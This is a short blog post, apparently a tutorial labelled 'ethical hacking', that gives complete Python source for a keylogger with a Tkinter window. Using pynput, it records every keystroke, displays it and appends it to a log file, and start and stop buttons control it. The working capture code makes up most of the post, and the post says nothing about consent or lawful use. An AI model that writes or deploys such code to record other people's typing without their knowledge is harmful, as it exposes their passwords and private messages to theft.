πŸš€ Python Keylogger with GUI – Ethical Hacking & Cybersecurity Tutorial

Demo :


Click Video πŸ‘‡πŸ‘‡πŸ‘‡












Code :


πŸ“‚ Folder Structure:

/python-keylogger  

│── keylogger.py  

│── log.txt  

│── README.md  

│── requirements.txt  


πŸ”Ή Step 1: Install Dependencies

cmd => pip install pynput

πŸ”Ή Step 2: Create keylogger.py File

import tkinter as tk
from pynput import keyboard
import threading

log_file = "log.txt"
listener = None  # Global variable for listener

def write_log(text):
    with open(log_file, "a") as f:
        f.write(text)
        f.flush()  # Instant save

def on_press(key):
    try:
        key_text = key.char
    except AttributeError:
        key_text = f" {str(key)} "
    
    log_text.insert(tk.END, key_text)  # GUI pe show karo
    log_text.see(tk.END)  # Auto-scroll
    write_log(key_text)  # File me save karo

def start_logging():
    global listener
    if listener is None or not listener.running:
        listener = keyboard.Listener(on_press=on_press)
        listener.start()

def stop_logging():
    global listener
    if listener and listener.running:
        listener.stop()
        listener = None

# --- GUI Setup ---
root = tk.Tk()
root.title("Keylogger GUI")
root.geometry("400x300")

# Buttons
start_button = tk.Button(root, text="Start Logging", command=start_logging, bg="green", fg="white")
start_button.pack(pady=5)

stop_button = tk.Button(root, text="Stop Logging", command=stop_logging, bg="red", fg="white")
stop_button.pack(pady=5)

# Log Display
log_text = tk.Text(root, height=10, width=50)
log_text.pack(pady=10)

root.mainloop()




Comments

Popular posts from this blog

πŸš€ Simple Login & Registration System in Python Tkinter πŸ“±

πŸš€ Create a Python Screen Recorder with Audio (Complete Code)

πŸ”₯ Advanced MP3 Music Player in Python | CustomTkinter + Pygame | Free Source Code